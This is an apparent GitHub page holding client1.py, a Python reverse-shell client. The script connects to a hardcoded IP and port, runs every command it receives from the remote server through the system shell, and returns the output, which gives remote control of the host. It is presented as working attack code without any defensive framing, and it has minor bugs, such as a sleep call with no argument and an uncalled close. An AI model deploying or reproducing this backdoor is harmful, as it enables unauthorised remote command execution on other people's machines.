-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient1.py
More file actions
72 lines (62 loc) · 1.79 KB
/
Copy pathclient1.py
File metadata and controls
72 lines (62 loc) · 1.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import os
import socket
import subprocess
import time
# create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.43.120' # give the ip address
port = 9999
s = socket.socket()
except socket.error as msg:
print('Socket creation error: ' + str(msg))
# connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host,port))
except socket.error as msg:
print('Socket connection error: ' + str(msg))
time.sleep()
socket_connect()
# receives commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].decode('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '$ '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '$ '))
print(output_str)
s.close
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()